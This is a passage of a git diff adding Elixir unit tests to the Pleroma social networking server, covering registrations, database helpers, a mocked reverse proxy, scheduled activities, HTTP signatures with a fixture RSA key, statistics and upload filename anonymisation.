cs.errors + end + + test "ensures uniqueness of [:provider, :uid]" do + registration = insert(:registration) + registration2 = build(:registration, provider: registration.provider, uid: registration.uid) + + cs = Registration.changeset(registration2, %{}) + assert cs.valid? + + assert {:error, + %Ecto.Changeset{ + errors: [ + uid: + {"has already been taken", + [constraint: :unique, constraint_name: "registrations_provider_uid_index"]} + ] + }} = Repo.insert(cs) + + # Note: multiple :uid values per [:user_id, :provider] are intentionally allowed + cs2 = Registration.changeset(registration2, %{uid: "available.uid"}) + assert cs2.valid? + assert {:ok, _} = Repo.insert(cs2) + + cs3 = Registration.changeset(registration2, %{provider: "provider2"}) + assert cs3.valid? + assert {:ok, _} = Repo.insert(cs3) + end + + test "allows `nil` :user_id (user-unbound registration)" do + registration = build(:registration, user_id: nil) + cs = Registration.changeset(registration, %{}) + assert cs.valid? + assert {:ok, _} = Repo.insert(cs) + end + end +end diff --git a/test/pleroma/repo_test.exs b/test/pleroma/repo_test.exs new file mode 100644 index 000000000..155791be2 --- /dev/null +++ b/test/pleroma/repo_test.exs @@ -0,0 +1,80 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.RepoTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.User + + describe "find_resource/1" do + test "returns user" do + user = insert(:user) + query = from(t in User, where: t.id == ^user.id) + assert Repo.find_resource(query) == {:ok, user} + end + + test "returns not_found" do + query = from(t in User, where: t.id == ^"9gBuXNpD2NyDmmxxdw") + assert Repo.find_resource(query) == {:error, :not_found} + end + end + + describe "get_assoc/2" do + test "get assoc from preloaded data" do + user = %User{name: "Agent Smith"} + token = %Pleroma.Web.OAuth.Token{insert(:oauth_token) | user: user} + assert Repo.get_assoc(token, :user) == {:ok, user} + end + + test "get one-to-one assoc from repo" do + user = insert(:user, name: "Jimi Hendrix") + token = refresh_record(insert(:oauth_token, user: user)) + + assert Repo.get_assoc(token, :user) == {:ok, user} + end + + test "get one-to-many assoc from repo" do + user = insert(:user) + + notification = + refresh_record(insert(:notification, user: user, activity: insert(:note_activity))) + + assert Repo.get_assoc(user, :notifications) == {:ok, [notification]} + end + + test "return error if has not assoc " do + token = insert(:oauth_token, user: nil) + assert Repo.get_assoc(token, :user) == {:error, :not_found} + end + end + + describe "chunk_stream/3" do + test "fetch records one-by-one" do + users = insert_list(50, :user) + + {fetch_users, 50} = + from(t in User) + |> Repo.chunk_stream(5) + |> Enum.reduce({[], 0}, fn %User{} = user, {acc, count} -> + {acc ++ [user], count + 1} + end) + + assert users == fetch_users + end + + test "fetch records in bulk" do + users = insert_list(50, :user) + + {fetch_users, 10} = + from(t in User) + |> Repo.chunk_stream(5, :batches) + |> Enum.reduce({[], 0}, fn users, {acc, count} -> + {acc ++ users, count + 1} + end) + + assert users == fetch_users + end + end +end diff --git a/test/pleroma/reverse_proxy_test.exs b/test/pleroma/reverse_proxy_test.exs new file mode 100644 index 000000000..8df63de65 --- /dev/null +++ b/test/pleroma/reverse_proxy_test.exs @@ -0,0 +1,336 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ReverseProxyTest do + use Pleroma.Web.ConnCase, async: true + + import ExUnit.CaptureLog + import Mox + + alias Pleroma.ReverseProxy + alias Pleroma.ReverseProxy.ClientMock + alias Plug.Conn + + setup_all do + {:ok, _} = Registry.start_link(keys: :unique, name: ClientMock) + :ok + end + + setup :verify_on_exit! + + defp user_agent_mock(user_agent, invokes) do + json = Jason.encode!(%{"user-agent": user_agent}) + + ClientMock + |> expect(:request, fn :get, url, _, _, _ -> + Registry.register(ClientMock, url, 0) + + {:ok, 200, + [ + {"content-type", "application/json"}, + {"content-length", byte_size(json) |> to_string()} + ], %{url: url}} + end) + |> expect(:stream_body, invokes, fn %{url: url} = client -> + case Registry.lookup(ClientMock, url) do + [{_, 0}] -> + Registry.update_value(ClientMock, url, &(&1 + 1)) + {:ok, json, client} + + [{_, 1}] -> + Registry.unregister(ClientMock, url) + :done + end + end) + end + + describe "reverse proxy" do + test "do not track successful request", %{conn: conn} do + user_agent_mock("hackney/1.15.1", 2) + url = "/success" + + conn = ReverseProxy.call(conn, url) + + assert conn.status == 200 + assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, nil} + end + end + + describe "user-agent" do + test "don't keep", %{conn: conn} do + user_agent_mock("hackney/1.15.1", 2) + conn = ReverseProxy.call(conn, "/user-agent") + assert json_response(conn, 200) == %{"user-agent" => "hackney/1.15.1"} + end + + test "keep", %{conn: conn} do + user_agent_mock(Pleroma.Application.user_agent(), 2) + conn = ReverseProxy.call(conn, "/user-agent-keep", keep_user_agent: true) + assert json_response(conn, 200) == %{"user-agent" => Pleroma.Application.user_agent()} + end + end + + test "closed connection", %{conn: conn} do + ClientMock + |> expect(:request, fn :get, "/closed", _, _, _ -> {:ok, 200, [], %{}} end) + |> expect(:stream_body, fn _ -> {:error, :closed} end) + |> expect(:close, fn _ -> :ok end) + + conn = ReverseProxy.call(conn, "/closed") + assert conn.halted + end + + defp stream_mock(invokes, with_close? \\ false) do + ClientMock + |> expect(:request, fn :get, "/stream-bytes/" <> length, _, _, _ -> + Registry.register(ClientMock, "/stream-bytes/" <> length, 0) + + {:ok, 200, [{"content-type", "application/octet-stream"}], + %{url: "/stream-bytes/" <> length}} + end) + |> expect(:stream_body, invokes, fn %{url: "/stream-bytes/" <> length} = client -> + max = String.to_integer(length) + + case Registry.lookup(ClientMock, "/stream-bytes/" <> length) do + [{_, current}] when current < max -> + Registry.update_value( + ClientMock, + "/stream-bytes/" <> length, + &(&1 + 10) + ) + + {:ok, "0123456789", client} + + [{_, ^max}] -> + Registry.unregister(ClientMock, "/stream-bytes/" <> length) + :done + end + end) + + if with_close? do + expect(ClientMock, :close, fn _ -> :ok end) + end + end + + describe "max_body" do + test "length returns error if content-length more than option", %{conn: conn} do + user_agent_mock("hackney/1.15.1", 0) + + assert capture_log(fn -> + ReverseProxy.call(conn, "/huge-file", max_body_length: 4) + end) =~ + "[error] Elixir.Pleroma.ReverseProxy: request to \"/huge-file\" failed: :body_too_large" + + assert {:ok, true} == Cachex.get(:failed_proxy_url_cache, "/huge-file") + + assert capture_log(fn -> + ReverseProxy.call(conn, "/huge-file", max_body_length: 4) + end) == "" + end + + test "max_body_length returns error if streaming body more than that option", %{conn: conn} do + stream_mock(3, true) + + assert capture_log(fn -> + ReverseProxy.call(conn, "/stream-bytes/50", max_body_length: 30) + end) =~ + "[warn] Elixir.Pleroma.ReverseProxy request to /stream-bytes/50 failed while reading/chunking: :body_too_large" + end + end + + describe "HEAD requests" do + test "common", %{conn: conn} do + ClientMock + |> expect(:request, fn :head, "/head", _, _, _ -> + {:ok, 200, [{"content-type", "text/html; charset=utf-8"}]} + end) + + conn = ReverseProxy.call(Map.put(conn, :method, "HEAD"), "/head") + assert html_response(conn, 200) == "" + end + end + + defp error_mock(status) when is_integer(status) do + ClientMock + |> expect(:request, fn :get, "/status/" <> _, _, _, _ -> + {:error, status} + end) + end + + describe "returns error on" do + test "500", %{conn: conn} do + error_mock(500) + url = "/status/500" + + capture_log(fn -> ReverseProxy.call(conn, url) end) =~ + "[error] Elixir.Pleroma.ReverseProxy: request to /status/500 failed with HTTP status 500" + + assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, true} + + {:ok, ttl} = Cachex.ttl(:failed_proxy_url_cache, url) + assert ttl <= 60_000 + end + + test "400", %{conn: conn} do + error_mock(400) + url = "/status/400" + + capture_log(fn -> ReverseProxy.call(conn, url) end) =~ + "[error] Elixir.Pleroma.ReverseProxy: request to /status/400 failed with HTTP status 400" + + assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, true} + assert Cachex.ttl(:failed_proxy_url_cache, url) == {:ok, nil} + end + + test "403", %{conn: conn} do + error_mock(403) + url = "/status/403" + + capture_log(fn -> + ReverseProxy.call(conn, url, failed_request_ttl: :timer.seconds(120)) + end) =~ + "[error] Elixir.Pleroma.ReverseProxy: request to /status/403 failed with HTTP status 403" + + {:ok, ttl} = Cachex.ttl(:failed_proxy_url_cache, url) + assert ttl > 100_000 + end + + test "204", %{conn: conn} do + url = "/status/204" + expect(ClientMock, :request, fn :get, _url, _, _, _ -> {:ok, 204, [], %{}} end) + + capture_log(fn -> + conn = ReverseProxy.call(conn, url) + assert conn.resp_body == "Request failed: No Content" + assert conn.halted + end) =~ + "[error] Elixir.Pleroma.ReverseProxy: request to \"/status/204\" failed with HTTP status 204" + + assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, true} + assert Cachex.ttl(:failed_proxy_url_cache, url) == {:ok, nil} + end + end + + test "streaming", %{conn: conn} do + stream_mock(21) + conn = ReverseProxy.call(conn, "/stream-bytes/200") + assert conn.state == :chunked + assert byte_size(conn.resp_body) == 200 + assert Conn.get_resp_header(conn, "content-type") == ["application/octet-stream"] + end + + defp headers_mock(_) do + ClientMock + |> expect(:request, fn :get, "/headers", headers, _, _ -> + Registry.register(ClientMock, "/headers", 0) + {:ok, 200, [{"content-type", "application/json"}], %{url: "/headers", headers: headers}} + end) + |> expect(:stream_body, 2, fn %{url: url, headers: headers} = client -> + case Registry.lookup(ClientMock, url) do + [{_, 0}] -> + Registry.update_value(ClientMock, url, &(&1 + 1)) + headers = for {k, v} <- headers, into: %{}, do: {String.capitalize(k), v} + {:ok, Jason.encode!(%{headers: headers}), client} + + [{_, 1}] -> + Registry.unregister(ClientMock, url) + :done + end + end) + + :ok + end + + describe "keep request headers" do + setup [:headers_mock] + + test "header passes", %{conn: conn} do + conn = + Conn.put_req_header( + conn, + "accept", + "text/html" + ) + |> ReverseProxy.call("/headers") + + %{"headers" => headers} = json_response(conn, 200) + assert headers["Accept"] == "text/html" + end + + test "header is filtered", %{conn: conn} do + conn = + Conn.put_req_header( + conn, + "accept-language", + "en-US" + ) + |> ReverseProxy.call("/headers") + + %{"headers" => headers} = json_response(conn, 200) + refute headers["Accept-Language"] + end + end + + test "returns 400 on non GET, HEAD requests", %{conn: conn} do + conn = ReverseProxy.call(Map.put(conn, :method, "POST"), "/ip") + assert conn.status == 400 + end + + describe "cache resp headers" do + test "add cache-control", %{conn: conn} do + ClientMock + |> expect(:request, fn :get, "/cache", _, _, _ -> + {:ok, 200, [{"ETag", "some ETag"}], %{}} + end) + |> expect(:stream_body, fn _ -> :done end) + + conn = ReverseProxy.call(conn, "/cache") + assert {"cache-control", "public, max-age=1209600"} in conn.resp_headers + end + end + + defp disposition_headers_mock(headers) do + ClientMock + |> expect(:request, fn :get, "/disposition", _, _, _ -> + Registry.register(ClientMock, "/disposition", 0) + + {:ok, 200, headers, %{url: "/disposition"}} + end) + |> expect(:stream_body, 2, fn %{url: "/disposition"} = client -> + case Registry.lookup(ClientMock, "/disposition") do + [{_, 0}] -> + Registry.update_value(ClientMock, "/disposition", &(&1 + 1)) + {:ok, "", client} + + [{_, 1}] -> + Registry.unregister(ClientMock, "/disposition") + :done + end + end) + end + + describe "response content disposition header" do + test "not atachment", %{conn: conn} do + disposition_headers_mock([ + {"content-type", "image/gif"}, + {"content-length", "0"} + ]) + + conn = ReverseProxy.call(conn, "/disposition") + + assert {"content-type", "image/gif"} in conn.resp_headers + end + + test "with content-disposition header", %{conn: conn} do + disposition_headers_mock([ + {"content-disposition", "attachment; filename=\"filename.jpg\""}, + {"content-length", "0"} + ]) + + conn = ReverseProxy.call(conn, "/disposition") + + assert {"content-disposition", "attachment; filename=\"filename.jpg\""} in conn.resp_headers + end + end +end diff --git a/test/pleroma/runtime_test.exs b/test/pleroma/runtime_test.exs new file mode 100644 index 000000000..010594fcd --- /dev/null +++ b/test/pleroma/runtime_test.exs @@ -0,0 +1,12 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.RuntimeTest do + use ExUnit.Case, async: true + + test "it loads custom runtime modules" do + assert {:module, Fixtures.Modules.RuntimeModule} == + Code.ensure_compiled(Fixtures.Modules.RuntimeModule) + end +end diff --git a/test/pleroma/safe_jsonb_set_test.exs b/test/pleroma/safe_jsonb_set_test.exs new file mode 100644 index 000000000..8b1274545 --- /dev/null +++ b/test/pleroma/safe_jsonb_set_test.exs @@ -0,0 +1,16 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.SafeJsonbSetTest do + use Pleroma.DataCase + + test "it doesn't wipe the object when asked to set the value to NULL" do + assert %{rows: [[%{"key" => "value", "test" => nil}]]} = + Ecto.Adapters.SQL.query!( + Pleroma.Repo, + "select safe_jsonb_set('{\"key\": \"value\"}'::jsonb, '{test}', NULL);", + [] + ) + end +end diff --git a/test/pleroma/scheduled_activity_test.exs b/test/pleroma/scheduled_activity_test.exs new file mode 100644 index 000000000..7faa5660d --- /dev/null +++ b/test/pleroma/scheduled_activity_test.exs @@ -0,0 +1,105 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ScheduledActivityTest do + use Pleroma.DataCase + alias Pleroma.DataCase + alias Pleroma.ScheduledActivity + import Pleroma.Factory + + setup do: clear_config([ScheduledActivity, :enabled]) + + setup context do + DataCase.ensure_local_uploader(context) + end + + describe "creation" do + test "scheduled activities with jobs when ScheduledActivity enabled" do + Pleroma.Config.put([ScheduledActivity, :enabled], true) + user = insert(:user) + + today = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(6), :millisecond) + |> NaiveDateTime.to_iso8601() + + attrs = %{params: %{}, scheduled_at: today} + {:ok, sa1} = ScheduledActivity.create(user, attrs) + {:ok, sa2} = ScheduledActivity.create(user, attrs) + + jobs = + Repo.all(from(j in Oban.Job, where: j.queue == "scheduled_activities", select: j.args)) + + assert jobs == [%{"activity_id" => sa1.id}, %{"activity_id" => sa2.id}] + end + + test "scheduled activities without jobs when ScheduledActivity disabled" do + Pleroma.Config.put([ScheduledActivity, :enabled], false) + user = insert(:user) + + today = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(6), :millisecond) + |> NaiveDateTime.to_iso8601() + + attrs = %{params: %{}, scheduled_at: today} + {:ok, _sa1} = ScheduledActivity.create(user, attrs) + {:ok, _sa2} = ScheduledActivity.create(user, attrs) + + jobs = + Repo.all(from(j in Oban.Job, where: j.queue == "scheduled_activities", select: j.args)) + + assert jobs == [] + end + + test "when daily user limit is exceeded" do + user = insert(:user) + + today = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(6), :millisecond) + |> NaiveDateTime.to_iso8601() + + attrs = %{params: %{}, scheduled_at: today} + {:ok, _} = ScheduledActivity.create(user, attrs) + {:ok, _} = ScheduledActivity.create(user, attrs) + + {:error, changeset} = ScheduledActivity.create(user, attrs) + assert changeset.errors == [scheduled_at: {"daily limit exceeded", []}] + end + + test "when total user limit is exceeded" do + user = insert(:user) + + today = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(6), :millisecond) + |> NaiveDateTime.to_iso8601() + + tomorrow = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.hours(36), :millisecond) + |> NaiveDateTime.to_iso8601() + + {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: today}) + {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: today}) + {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow}) + {:error, changeset} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow}) + assert changeset.errors == [scheduled_at: {"total limit exceeded", []}] + end + + test "when scheduled_at is earlier than 5 minute from now" do + user = insert(:user) + + scheduled_at = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(4), :millisecond) + |> NaiveDateTime.to_iso8601() + + attrs = %{params: %{}, scheduled_at: scheduled_at} + {:error, changeset} = ScheduledActivity.create(user, attrs) + assert changeset.errors == [scheduled_at: {"must be at least 5 minutes from now", []}] + end + end +end diff --git a/test/pleroma/signature_test.exs b/test/pleroma/signature_test.exs new file mode 100644 index 000000000..a7a75aa4d --- /dev/null +++ b/test/pleroma/signature_test.exs @@ -0,0 +1,134 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.SignatureTest do + use Pleroma.DataCase + + import ExUnit.CaptureLog + import Pleroma.Factory + import Tesla.Mock + import Mock + + alias Pleroma.Signature + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + @private_key "-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEA48qb4v6kqigZutO9Ot0wkp27GIF2LiVaADgxQORZozZR63jH\nTaoOrS3Xhngbgc8SSOhfXET3omzeCLqaLNfXnZ8OXmuhJfJSU6mPUvmZ9QdT332j\nfN/g3iWGhYMf/M9ftCKh96nvFVO/tMruzS9xx7tkrfJjehdxh/3LlJMMImPtwcD7\nkFXwyt1qZTAU6Si4oQAJxRDQXHp1ttLl3Ob829VM7IKkrVmY8TD+JSlV0jtVJPj6\n1J19ytKTx/7UaucYvb9HIiBpkuiy5n/irDqKLVf5QEdZoNCdojOZlKJmTLqHhzKP\n3E9TxsUjhrf4/EqegNc/j982RvOxeu4i40zMQwIDAQABAoIBAQDH5DXjfh21i7b4\ncXJuw0cqget617CDUhemdakTDs9yH+rHPZd3mbGDWuT0hVVuFe4vuGpmJ8c+61X0\nRvugOlBlavxK8xvYlsqTzAmPgKUPljyNtEzQ+gz0I+3mH2jkin2rL3D+SksZZgKm\nfiYMPIQWB2WUF04gB46DDb2mRVuymGHyBOQjIx3WC0KW2mzfoFUFRlZEF+Nt8Ilw\nT+g/u0aZ1IWoszbsVFOEdghgZET0HEarum0B2Je/ozcPYtwmU10iBANGMKdLqaP/\nj954BPunrUf6gmlnLZKIKklJj0advx0NA+cL79+zeVB3zexRYSA5o9q0WPhiuTwR\n/aedWHnBAoGBAP0sDWBAM1Y4TRAf8ZI9PcztwLyHPzfEIqzbObJJnx1icUMt7BWi\n+/RMOnhrlPGE1kMhOqSxvXYN3u+eSmWTqai2sSH5Hdw2EqnrISSTnwNUPINX7fHH\njEkgmXQ6ixE48SuBZnb4w1EjdB/BA6/sjL+FNhggOc87tizLTkMXmMtTAoGBAOZV\n+wPuAMBDBXmbmxCuDIjoVmgSlgeRunB1SA8RCPAFAiUo3+/zEgzW2Oz8kgI+xVwM\n33XkLKrWG1Orhpp6Hm57MjIc5MG+zF4/YRDpE/KNG9qU1tiz0UD5hOpIU9pP4bR/\ngxgPxZzvbk4h5BfHWLpjlk8UUpgk6uxqfti48c1RAoGBALBOKDZ6HwYRCSGMjUcg\n3NPEUi84JD8qmFc2B7Tv7h2he2ykIz9iFAGpwCIyETQsJKX1Ewi0OlNnD3RhEEAy\nl7jFGQ+mkzPSeCbadmcpYlgIJmf1KN/x7fDTAepeBpCEzfZVE80QKbxsaybd3Dp8\nCfwpwWUFtBxr4c7J+gNhAGe/AoGAPn8ZyqkrPv9wXtyfqFjxQbx4pWhVmNwrkBPi\nZ2Qh3q4dNOPwTvTO8vjghvzIyR8rAZzkjOJKVFgftgYWUZfM5gE7T2mTkBYq8W+U\n8LetF+S9qAM2gDnaDx0kuUTCq7t87DKk6URuQ/SbI0wCzYjjRD99KxvChVGPBHKo\n1DjqMuECgYEAgJGNm7/lJCS2wk81whfy/ttKGsEIkyhPFYQmdGzSYC5aDc2gp1R3\nxtOkYEvdjfaLfDGEa4UX8CHHF+w3t9u8hBtcdhMH6GYb9iv6z0VBTt4A/11HUR49\n3Z7TQ18Iyh3jAUCzFV9IJlLIExq5Y7P4B3ojWFBN607sDCt8BMPbDYs=\n-----END RSA PRIVATE KEY-----" + + @public_key "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0P/Tq4gb4G/QVuMGbJo\nC/AfMNcv+m7NfrlOwkVzcU47jgESuYI4UtJayissCdBycHUnfVUd9qol+eznSODz\nCJhfJloqEIC+aSnuEPGA0POtWad6DU0E6/Ho5zQn5WAWUwbRQqowbrsm/GHo2+3v\neR5jGenwA6sYhINg/c3QQbksyV0uJ20Umyx88w8+TJuv53twOfmyDWuYNoQ3y5cc\nHKOZcLHxYOhvwg3PFaGfFHMFiNmF40dTXt9K96r7sbzc44iLD+VphbMPJEjkMuf8\nPGEFOBzy8pm3wJZw2v32RNW2VESwMYyqDzwHXGSq1a73cS7hEnc79gXlELsK04L9\nQQIDAQAB\n-----END PUBLIC KEY-----\n" + + @rsa_public_key { + :RSAPublicKey, + 24_650_000_183_914_698_290_885_268_529_673_621_967_457_234_469_123_179_408_466_269_598_577_505_928_170_923_974_132_111_403_341_217_239_999_189_084_572_368_839_502_170_501_850_920_051_662_384_964_248_315_257_926_552_945_648_828_895_432_624_227_029_881_278_113_244_073_644_360_744_504_606_177_648_469_825_063_267_913_017_309_199_785_535_546_734_904_379_798_564_556_494_962_268_682_532_371_146_333_972_821_570_577_277_375_020_977_087_539_994_500_097_107_935_618_711_808_260_846_821_077_839_605_098_669_707_417_692_791_905_543_116_911_754_774_323_678_879_466_618_738_207_538_013_885_607_095_203_516_030_057_611_111_308_904_599_045_146_148_350_745_339_208_006_497_478_057_622_336_882_506_112_530_056_970_653_403_292_123_624_453_213_574_011_183_684_739_084_105_206_483_178_943_532_208_537_215_396_831_110_268_758_639_826_369_857, + # credo:disable-for-previous-line Credo.Check.Readability.MaxLineLength + 65_537 + } + + defp make_fake_signature(key_id), do: "keyId=\"#{key_id}\"" + + defp make_fake_conn(key_id), + do: %Plug.Conn{req_headers: %{"signature" => make_fake_signature(key_id <> "#main-key")}} + + describe "fetch_public_key/1" do + test "it returns key" do + expected_result = {:ok, @rsa_public_key} + + user = insert(:user, public_key: @public_key) + + assert Signature.fetch_public_key(make_fake_conn(user.ap_id)) == expected_result + end + + test "it returns error when not found user" do + assert capture_log(fn -> + assert Signature.fetch_public_key(make_fake_conn("https://test-ap-id")) == + {:error, :error} + end) =~ "[error] Could not decode user" + end + + test "it returns error if public key is nil" do + user = insert(:user, public_key: nil) + + assert Signature.fetch_public_key(make_fake_conn(user.ap_id)) == {:error, :error} + end + end + + describe "refetch_public_key/1" do + test "it returns key" do + ap_id = "https://mastodon.social/users/lambadalambda" + + assert Signature.refetch_public_key(make_fake_conn(ap_id)) == {:ok, @rsa_public_key} + end + + test "it returns error when not found user" do + assert capture_log(fn -> + {:error, _} = Signature.refetch_public_key(make_fake_conn("https://test-ap_id")) + end) =~ "[error] Could not decode user" + end + end + + describe "sign/2" do + test "it returns signature headers" do + user = + insert(:user, %{ + ap_id: "https://mastodon.social/users/lambadalambda", + keys: @private_key + }) + + assert Signature.sign( + user, + %{ + host: "test.test", + "content-length": 100 + } + ) == + "keyId=\"https://mastodon.social/users/lambadalambda#main-key\",algorithm=\"rsa-sha256\",headers=\"content-length host\",signature=\"sibUOoqsFfTDerquAkyprxzDjmJm6erYc42W5w1IyyxusWngSinq5ILTjaBxFvfarvc7ci1xAi+5gkBwtshRMWm7S+Uqix24Yg5EYafXRun9P25XVnYBEIH4XQ+wlnnzNIXQkU3PU9e6D8aajDZVp3hPJNeYt1gIPOA81bROI8/glzb1SAwQVGRbqUHHHKcwR8keiR/W2h7BwG3pVRy4JgnIZRSW7fQogKedDg02gzRXwUDFDk0pr2p3q6bUWHUXNV8cZIzlMK+v9NlyFbVYBTHctAR26GIAN6Hz0eV0mAQAePHDY1mXppbA8Gpp6hqaMuYfwifcXmcc+QFm4e+n3A==\"" + end + + test "it returns error" do + user = insert(:user, %{ap_id: "https://mastodon.social/users/lambadalambda", keys: ""}) + + assert Signature.sign( + user, + %{host: "test.test", "content-length": 100} + ) == {:error, []} + end + end + + describe "key_id_to_actor_id/1" do + test "it properly deduces the actor id for misskey" do + assert Signature.key_id_to_actor_id("https://example.com/users/1234/publickey") == + {:ok, "https://example.com/users/1234"} + end + + test "it properly deduces the actor id for mastodon and pleroma" do + assert Signature.key_id_to_actor_id("https://example.com/users/1234#main-key") == + {:ok, "https://example.com/users/1234"} + end + + test "it calls webfinger for 'acct:' accounts" do + with_mock(Pleroma.Web.WebFinger, + finger: fn _ -> %{"ap_id" => "https://gensokyo.2hu/users/raymoo"} end + ) do + assert Signature.key_id_to_actor_id("acct:raymoo@gensokyo.2hu") == + {:ok, "https://gensokyo.2hu/users/raymoo"} + end + end + end + + describe "signed_date" do + test "it returns formatted current date" do + with_mock(NaiveDateTime, utc_now: fn -> ~N[2019-08-23 18:11:24.822233] end) do + assert Signature.signed_date() == "Fri, 23 Aug 2019 18:11:24 GMT" + end + end + + test "it returns formatted date" do + assert Signature.signed_date(~N[2019-08-23 08:11:24.822233]) == + "Fri, 23 Aug 2019 08:11:24 GMT" + end + end +end diff --git a/test/pleroma/stats_test.exs b/test/pleroma/stats_test.exs new file mode 100644 index 000000000..74bf785b0 --- /dev/null +++ b/test/pleroma/stats_test.exs @@ -0,0 +1,122 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.StatsTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.Stats + alias Pleroma.Web.CommonAPI + + describe "user count" do + test "it ignores internal users" do + _user = insert(:user, local: true) + _internal = insert(:user, local: true, nickname: nil) + _internal = Pleroma.Web.ActivityPub.Relay.get_actor() + + assert match?(%{stats: %{user_count: 1}}, Stats.calculate_stat_data()) + end + end + + describe "status visibility sum count" do + test "on new status" do + instance2 = "instance2.tld" + user = insert(:user) + other_user = insert(:user, %{ap_id: "https://#{instance2}/@actor"}) + + CommonAPI.post(user, %{visibility: "public", status: "hey"}) + + Enum.each(0..1, fn _ -> + CommonAPI.post(user, %{ + visibility: "unlisted", + status: "hey" + }) + end) + + Enum.each(0..2, fn _ -> + CommonAPI.post(user, %{ + visibility: "direct", + status: "hey @#{other_user.nickname}" + }) + end) + + Enum.each(0..3, fn _ -> + CommonAPI.post(user, %{ + visibility: "private", + status: "hey" + }) + end) + + assert %{"direct" => 3, "private" => 4, "public" => 1, "unlisted" => 2} = + Stats.get_status_visibility_count() + end + + test "on status delete" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{visibility: "public", status: "hey"}) + assert %{"public" => 1} = Stats.get_status_visibility_count() + CommonAPI.delete(activity.id, user) + assert %{"public" => 0} = Stats.get_status_visibility_count() + end + + test "on status visibility update" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{visibility: "public", status: "hey"}) + assert %{"public" => 1, "private" => 0} = Stats.get_status_visibility_count() + {:ok, _} = CommonAPI.update_activity_scope(activity.id, %{visibility: "private"}) + assert %{"public" => 0, "private" => 1} = Stats.get_status_visibility_count() + end + + test "doesn't count unrelated activities" do + user = insert(:user) + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{visibility: "public", status: "hey"}) + _ = CommonAPI.follow(user, other_user) + CommonAPI.favorite(other_user, activity.id) + CommonAPI.repeat(activity.id, other_user) + + assert %{"direct" => 0, "private" => 0, "public" => 1, "unlisted" => 0} = + Stats.get_status_visibility_count() + end + end + + describe "status visibility by instance count" do + test "single instance" do + local_instance = Pleroma.Web.Endpoint.url() |> String.split("//") |> Enum.at(1) + instance2 = "instance2.tld" + user1 = insert(:user) + user2 = insert(:user, %{ap_id: "https://#{instance2}/@actor"}) + + CommonAPI.post(user1, %{visibility: "public", status: "hey"}) + + Enum.each(1..5, fn _ -> + CommonAPI.post(user1, %{ + visibility: "unlisted", + status: "hey" + }) + end) + + Enum.each(1..10, fn _ -> + CommonAPI.post(user1, %{ + visibility: "direct", + status: "hey @#{user2.nickname}" + }) + end) + + Enum.each(1..20, fn _ -> + CommonAPI.post(user2, %{ + visibility: "private", + status: "hey" + }) + end) + + assert %{"direct" => 10, "private" => 0, "public" => 1, "unlisted" => 5} = + Stats.get_status_visibility_count(local_instance) + + assert %{"direct" => 0, "private" => 20, "public" => 0, "unlisted" => 0} = + Stats.get_status_visibility_count(instance2) + end + end +end diff --git a/test/pleroma/upload/filter/anonymize_filename_test.exs b/test/pleroma/upload/filter/anonymize_filename_test.exs new file mode 100644 index 000000000..19b915cc8 --- /dev/null +++ b/test/pleroma/upload/filter/anonymize_filename_test.exs @@ -0,0 +1,42 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Upload.Filter.AnonymizeFilenameTest do + use Pleroma.DataCase + + alias Pleroma.Config + alias Pleroma.Upload + + setup do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + upload_file = %Upload{ + name: "an… image.jpg", + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg") + } + + %{upload_file: upload_file} + end + + setup do: clear_config([Pleroma.Upload.Filter.AnonymizeFilename, :text]) + + test "it replaces filename on pre-defined text", %{upload_file: upload_file} do + Config.put([Upload.Filter.AnonymizeFilename, :text], "custom-file.png") + {:ok, :filtered, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) + assert name == "custom-file.png" + end + + test "it replaces filename on pre-defined text expression", %{upload_file: upload_file} do + Config.put([Upload.Filter.AnonymizeFilename, :text], "custom-file.{extension}") + {:ok, :filtered, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) + assert name == "custom-file.jpg" + end + + test "it replaces filename on 